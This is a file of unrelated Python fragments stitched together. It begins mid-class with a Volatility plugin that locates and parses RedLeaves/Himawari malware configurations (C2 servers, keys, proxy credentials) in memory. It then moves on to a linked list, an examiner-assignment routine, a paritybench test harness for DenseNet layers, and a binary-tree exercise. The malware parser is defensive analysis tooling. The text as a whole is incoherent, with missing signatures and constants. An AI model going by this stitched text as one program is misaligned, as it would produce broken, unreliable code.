    def parse_config(self, cfg_blob, cfg_sz, cfg_addr):

        p_data = OrderedDict()

        p_data["Server1"]           = unpack_from('<64s', cfg_blob, 0x0)[0]
        p_data["Server2"]           = unpack_from('<64s', cfg_blob, 0x40)[0]
        p_data["Server3"]           = unpack_from('<64s', cfg_blob, 0x80)[0]
        p_data["Port"]              = unpack_from('<I', cfg_blob, 0xC0)[0]
        mode = unpack_from('<I', cfg_blob, 0x1D0)[0]
        p_data["Mode"]              = CONNECT_MODE[mode]
        p_data["ID"]                = unpack_from('<64s', cfg_blob, 0x1E4)[0]
        p_data["Mutex"]             = unpack_from('<550s', cfg_blob, 0x500)[0].replace('\0', '')
        p_data["Injection Process"] = unpack_from('<104s', cfg_blob, 0x726)[0].replace('\0', '')
        p_data["RC4 Key"]           = unpack_from('<10s', cfg_blob, 0x82A)[0]

        return p_data

    def parse_config_himawari(self, cfg_blob, cfg_sz, cfg_addr):

        p_data = OrderedDict()

        p_data["Server1"]        = unpack_from('<64s', cfg_blob, 0x4)[0]
        p_data["Server2"]        = unpack_from('<64s', cfg_blob, 0x44)[0]
        p_data["Server3"]        = unpack_from('<64s', cfg_blob, 0x84)[0]
        p_data["Server4"]        = unpack_from('<64s', cfg_blob, 0xC4)[0]
        p_data["Port"]           = unpack_from('<I', cfg_blob, 0x104)[0]
        mode = unpack_from('<I', cfg_blob, 0x1D8)[0]
        p_data["Mode"]           = CONNECT_MODE[mode]
        p_data["ID"]             = unpack_from('<64s', cfg_blob, 0x1E0)[0]
        p_data["Mutex"]          = unpack_from('<62s', cfg_blob, 0x224)[0].replace('\0', '')
        p_data["Key"]            = unpack_from('<10s', cfg_blob, 0x366)[0]
        p_data["UserAgent"]      = unpack_from('<260s', cfg_blob, 0x262)[0]
        p_data["Proxy server"]   = unpack_from('<64s', cfg_blob, 0x10C)[0]
        p_data["Proxy username"] = unpack_from('<64s', cfg_blob, 0x14C)[0]
        p_data["Proxy password"] = unpack_from('<64s', cfg_blob, 0x18C)[0]

        return p_data

    def calculate(self):

        if not has_yara:
            debug.error("Yara must be installed for this plugin")

        addr_space = utils.load_as(self._config)

        os, memory_model = self.is_valid_profile(addr_space.profile)
        if not os:
            debug.error("This command does not support the selected profile.")

        rules = yara.compile(sources=redleaves_sig)

        for task in self.filter_tasks(tasks.pslist(addr_space)):
            scanner = malfind.VadYaraScanner(task=task, rules=rules)

            for hit, address in scanner.scan():

                vad_base_addr, end = self.get_vad_base(task, address)
                proc_addr_space = task.get_process_address_space()
                data = proc_addr_space.zread(vad_base_addr, end - vad_base_addr)

                config_data = []

                c_pt = CONF_PATTERNS[str(hit)]
                if re.search(c_pt, data):
                    m_conf = re.search(c_pt, data)
                else:
                    continue

                offset_conf = m_conf.start()

                if "RedLeaves" in str(hit):
                    config_size = 2100

                    offset_conf -= 1
                    while data[offset_conf] != "\xC7" and data[offset_conf] != "\xBE" and data[offset_conf] != "\xBF":
                        offset_conf -= 1

                    if data[offset_conf] != "\xC7" and data[offset_conf] != "\xBE" and data[offset_conf] != "\xBF":
                        continue
                    if data[offset_conf] == "\xC7" and data[offset_conf + 1] != "\x85" and data[offset_conf + 1] != "\x45":
                        offset_conf -= 6

                    # get address
                    if data[offset_conf] == "\xC7" and data[offset_conf + 1] != "\x85":
                        (config_addr, ) = unpack("=I", data[offset_conf + 3:offset_conf + 7])
                    elif data[offset_conf] == "\xC7" and data[offset_conf + 1] == "\x85":
                        (config_addr, ) = unpack("=I", data[offset_conf + 6:offset_conf + 10])
                    else:
                        (config_addr, ) = unpack("=I", data[offset_conf + 1:offset_conf + 5])

                    if config_addr < vad_base_addr:
                        continue
                    config_addr -= vad_base_addr
                    config = data[config_addr:config_addr + config_size]
                    if len(config) > 0:
                        config_data.append(self.parse_config(config, config_size, config_addr))

                if str(hit) in ["Himawari", "Lavender", "Armadill", "zark20rk"]:
                    offset_conf += 6
                    if str(hit) in ["zark20rk"]:
                        offset_conf += 6
                    config_size = 880

                    # get address
                    (config_addr, ) = unpack("=I", data[offset_conf:offset_conf + 4])

                    if config_addr < vad_base_addr:
                        continue

                    config_addr -= vad_base_addr
                    config = data[config_addr:config_addr + config_size]
                    if len(config) > 0:
                        config_data.append(self.parse_config_himawari(config, config_size, config_addr))

                yield task, vad_base_addr, end, hit, memory_model, config_data
                break

    def render_text(self, outfd, data):

        delim = '-' * 70

        for task, start, end, malname, memory_model, config_data in data:
            outfd.write("{0}\n".format(delim))
            outfd.write("Process: {0} ({1})\n\n".format(task.ImageFileName, task.UniqueProcessId))

            outfd.write("[Config Info]\n")
            for p_data in config_data:
                for id, param in p_data.items():
                    outfd.write("{0:<16}: {1}\n".format(id, param))


class Node:
    def __init__(self, data=None, next_node=None):
        self.data = data
        self.next_node = next_node

class LinkedList:
    def __init__(self, head=None, tail=None):
        self.head = head
        self.tail = tail

    def insert_beginning(self, x):
        new_node = Node(x)
        if self.head is None:
            self.head = new_node
            self.tail = new_node
        else:
            new_node.next_node = self.head
            self.head = new_node

    def insert_at_end(self, x):
        new_node = Node(x)
        if self.head is None:
            self.head = new_node
            self.tail = new_node
        else:
            self.tail.next_node = new_node
            self.tail = new_node

    def print_ll(self):
        ll_string = ''
        node = self.head
        if node is None:
            print(None)
        while node:
            ll_string += f' {str(node.data)} ->'
            node = node.next_node

        ll_string += ' None'
        print(ll_string)

    def to_list(self):
        list_of_contents = []
        current = self.head
        while current is not None:
            list_of_contents.append(current.data)
            current = current.next_node
        return list_of_contents

    def get_data_by_id(self, id):
        list_of_contents = self.to_list()
        for item in list_of_contents:
            try:
                if type(item) == dict:
                    if item['id'] == id:
                        return item
                else:
                    raise TypeError
            except TypeError:
                print('Данные не являются словарем или в словаре нет id')


import  random

class Professor:

    def __init__(self, name, subjects):
        self.name = name
        self.subjects = subjects
        self.numberofprojects = 0

    def __str__(self):
        return "Name: " + self.name + ", Subjects=" + str(self.subjects) + ", Number of projects: " + str(
            self.numberofprojects)

# validdoctors method will return a list of all possible valid examinors
def validdoctors(group, professors):
    professor_list = []
    for professor in professors:
        if professor.name == group.supervisor:
            continue
        else:
            if common_data(group.subjects, professor.subjects):
                professor_list.append(professor)
    while len(professor_list)<2:
        index = random.randint(1,len(professors)-1)
        if (professors[index].name == group.supervisor):
            continue
        else:
            professor_list.append(professors[index])

        '''for i in professor_list:
        print(str(i)+ "For group" + str(group.project))'''
    return professor_list

# This function checks if there is common data between 2 lists
def common_data(list1, list2):
    # this is a functions that checks if 2 lists have at least one element in common
    result = False

    # traverse in the 1st list
    for x in list1:

        # traverse in the 2nd list
        for y in list2:

            # if one common
            if x == y:
                result = True
                return result

    return result


import sys
_module = sys.modules[__name__]
del sys
WRN = _module
densenet = _module
train = _module
utils = _module
vgg = _module

from _paritybench_helpers import _mock_config, patch_functional
from unittest.mock import mock_open, MagicMock
from torch.autograd import Function
from torch.nn import Module
import abc, collections, copy, enum, functools, inspect, itertools, logging, math, matplotlib, numbers, numpy, pandas, queue, random, re, scipy, sklearn, string, tensorflow, time, torch, torchaudio, torchtext, torchvision, types, typing, uuid, warnings
import numpy as np
from torch import Tensor
patch_functional()
open = mock_open()
yaml = logging = sys = argparse = MagicMock()
ArgumentParser = argparse.ArgumentParser
_global_config = args = argv = cfg = config = params = _mock_config()
argparse.ArgumentParser.return_value.parse_args.return_value = _global_config
yaml.load.return_value = _global_config
sys.argv = _global_config
__version__ = '1.0.0'
xrange = range
wraps = functools.wraps

import math

import torch

import torch.nn as nn

import torch.nn.functional as F

import torch.optim as optim

import numpy as np

from torch.autograd import Variable

import torchvision.datasets as dset

import torchvision.transforms as transforms

from torch.utils.data import DataLoader

import torchvision.models as models

import logging

from torch.autograd import Variable as V

import time

class BasicBlock(nn.Module):

    def __init__(self, in_planes, out_planes, stride, dropRate, layer_index):
        super(BasicBlock, self).__init__()
        self.bn1 = nn.BatchNorm2d(in_planes)
        self.relu1 = nn.ReLU(inplace=True)
        self.conv1 = nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=False)
        self.bn2 = nn.BatchNorm2d(out_planes)
        self.relu2 = nn.ReLU(inplace=True)
        self.conv2 = nn.Conv2d(out_planes, out_planes, kernel_size=3, stride=1, padding=1, bias=False)
        self.droprate = dropRate
        self.equalInOut = in_planes == out_planes
        self.convShortcut = not self.equalInOut and nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, padding=0, bias=False) or None
        self.active = True
        self.layer_index = layer_index

    def forward(self, x):
        if not self.active:
            self.eval()
        if not self.equalInOut:
            x = self.relu1(self.bn1(x))
        else:
            out = self.relu1(self.bn1(x))
        out = self.relu2(self.bn2(self.conv1(out if self.equalInOut else x)))
        if self.droprate > 0:
            out = F.dropout(out, p=self.droprate, training=self.training)
        out = self.conv2(out)
        out = torch.add(x if self.equalInOut else self.convShortcut(x), out)
        if self.active:
            return out
        else:
            return out.detach()

class Layer(nn.Module):

    def __init__(self, n_in, n_out, layer_index):
        super(Layer, self).__init__()
        self.conv1 = nn.Conv2d(n_in, n_out, kernel_size=3, padding=1, bias=False)
        self.bn1 = nn.BatchNorm2d(n_out)
        self.layer_index = layer_index
        self.active = True

    def forward(self, x):
        if not self.active:
            self.eval()
        out = F.relu(self.bn1(self.conv1(x)))
        if self.active:
            return out
        else:
            return out.detach()

scale_fn = {'linear': lambda x: x, 'squared': lambda x: x ** 2, 'cubic': lambda x: x ** 3}

class Bottleneck(nn.Module):

    def __init__(self, nChannels, growthRate, layer_index):
        super(Bottleneck, self).__init__()
        interChannels = 4 * growthRate
        self.bn1 = nn.BatchNorm2d(nChannels)
        self.conv1 = nn.Conv2d(nChannels, interChannels, kernel_size=1, bias=False)
        self.bn2 = nn.BatchNorm2d(interChannels)
        self.conv2 = nn.Conv2d(interChannels, growthRate, kernel_size=3, padding=1, bias=False)
        self.active = True
        self.layer_index = layer_index

    def forward(self, x):
        if not self.active:
            self.eval()
        out = self.conv1(F.relu(self.bn1(x)))
        out = self.conv2(F.relu(self.bn2(out)))
        out = torch.cat((x, out), 1)
        if self.active:
            return out
        else:
            return out.detach()

class SingleLayer(nn.Module):

    def __init__(self, nChannels, growthRate, layer_index):
        super(SingleLayer, self).__init__()
        self.bn1 = nn.BatchNorm2d(nChannels)
        self.conv1 = nn.Conv2d(nChannels, growthRate, kernel_size=3, padding=1, bias=False)
        self.layer_index = layer_index
        self.active = True

    def forward(self, x):
        if not self.active:
            self.eval()
        out = self.conv1(self.bn1(F.relu(x)))
        out = torch.cat((x, out), 1)
        if self.active:
            return out
        else:
            return out.detach()

class Transition(nn.Module):

    def __init__(self, nChannels, nOutChannels, layer_index):
        super(Transition, self).__init__()
        self.bn1 = nn.BatchNorm2d(nChannels)
        self.conv1 = nn.Conv2d(nChannels, nOutChannels, kernel_size=1, bias=False)
        self.active = True
        self.layer_index = layer_index

    def forward(self, x):
        if not self.active:
            self.eval()
        out = self.conv1(self.bn1(F.relu(x)))
        out = F.avg_pool2d(out, 2)
        if self.active:
            return out
        else:
            return out.detach()

import torch
from torch.nn import MSELoss, ReLU
from _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile

TESTCASES = [
    # (nn.Module, init_args, forward_args, jit_compiles)
    (Bottleneck,
     lambda: ([], {'nChannels': 4, 'growthRate': 4, 'layer_index': 1}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
    (Layer,
     lambda: ([], {'n_in': 4, 'n_out': 4, 'layer_index': 1}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
    (SingleLayer,
     lambda: ([], {'nChannels': 4, 'growthRate': 4, 'layer_index': 1}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
    (Transition,
     lambda: ([], {'nChannels': 4, 'nOutChannels': 4, 'layer_index': 1}),
     lambda: ([torch.rand([4, 4, 4, 4])], {}),
     False),
]

class Test_ajbrock_FreezeOut(_paritybench_base):
    def test_000(self):
        self._check(*TESTCASES[0])

    def test_001(self):
        self._check(*TESTCASES[1])

    def test_002(self):
        self._check(*TESTCASES[2])

    def test_003(self):
        self._check(*TESTCASES[3])


# 226. Invert Binary Tree
# Given the root of a binary tree, invert the tree, and return its root.
class Node:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None

class TreeNode11:
    def __init__(self):
        self.root = None

# invert binary tree
def invert(root):
    if not root:
        return
    temp = root.left
    root.left = root.right
    root.right = temp
    invert(root.left)
    invert(root.right)
    return root

# print level by level
def height(root):
    if root is None:
        return 0
    else:
        lheight = height(root.left)
        rheight = height(root.right)
        if lheight > rheight:
            return lheight + 1
        else:
            return rheight + 1

def printCurLevel(root, level):
    if root != None:
        if level == 1:
            print(root.val, end=",")
        elif level > 1:
            printCurLevel(root.left, level - 1)
            printCurLevel(root.right, level - 1)

def printLevelOrder(root):
    h = height(root)
    for i in range(1, h+1):
        printCurLevel(root, i)

tree = TreeNode11()

tree.root = Node(4)
tree.root.left = Node(2)
tree.root.right = Node(7)
tree.root.left.left = Node(1)
tree.root.left.right = Node(3)
tree.root.right.left = Node(6)
tree.root.right.right = Node(9)
'''
tree.root = Node(2)
tree.root.left = Node(1)
tree.root.right = Node(3)
'''
printLevelOrder(tree.root)
print()
printLevelOrder(invert(tree.root))